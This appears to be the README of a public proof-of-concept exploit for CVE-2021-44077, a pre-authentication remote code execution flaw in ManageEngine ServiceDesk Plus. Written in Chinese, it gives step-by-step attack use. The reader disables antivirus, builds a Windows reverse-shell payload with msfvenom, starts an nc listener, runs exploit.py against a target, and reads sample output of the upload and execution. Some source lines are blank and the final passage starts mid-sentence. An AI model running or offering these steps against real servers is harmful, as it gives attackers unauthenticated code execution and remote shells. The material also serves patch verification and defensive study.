CVE-2021-44077 的概念验证利用程序:ManageEngine ServiceDesk Plus < 11306 中的预认证远程代码执行
基于:
CISA 公告:
修复方案(升级至内部版本 11306 或更高版本):
已在 ManageEngine ServiceDesk Plus 内部版本 11303 上测试。禁用所有杀毒软件。
该利用程序会将一个 Windows 可执行文件上传到目标并执行。
要利用漏洞,首先生成任意可执行文件。例如:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.140 LPORT=4444 -f exe > msiexec.exe
pip install 安装 requirements 文件,或确保已安装 requests 包。
如果你要接收反弹 shell,请先运行你的监听器,例如:
nc -l 4444
然后运行利用脚本,传入 url 和 exe 参数,例如:
python exploit.py http://<目标>:<端口> <可执行文件路径>
示例脚本输出:
% python exploit.py http://192.168.0.140:8080 msiexec.exe
[+] Target: http://192.168.0.140:8080/
[+] Executable: msiexec.exe
[+] Uploading msiexec.exe to http://192.168.0.140:8080/RestAPI/ImportTechnicians?step=1
[+] Got 401 error code on upload. This is expected.
[+] Uploaded msiexec.exe
[+] Attempting to invoke against url http://192.168.0.140:8080/./RestAPI/s247action. Waiting up to 20 seconds...
[+] Done, did it work?

bin 文件夹中,包括已有的文件(如批处理脚本)。可能还有其他方式可以调用上传的文件。本软件纯粹出于学术研究和开发有效防御技术的目的而创建,不应用于攻击系统,除非已明确授权。项目维护者不对软件的滥用承担责任。请负责任地使用。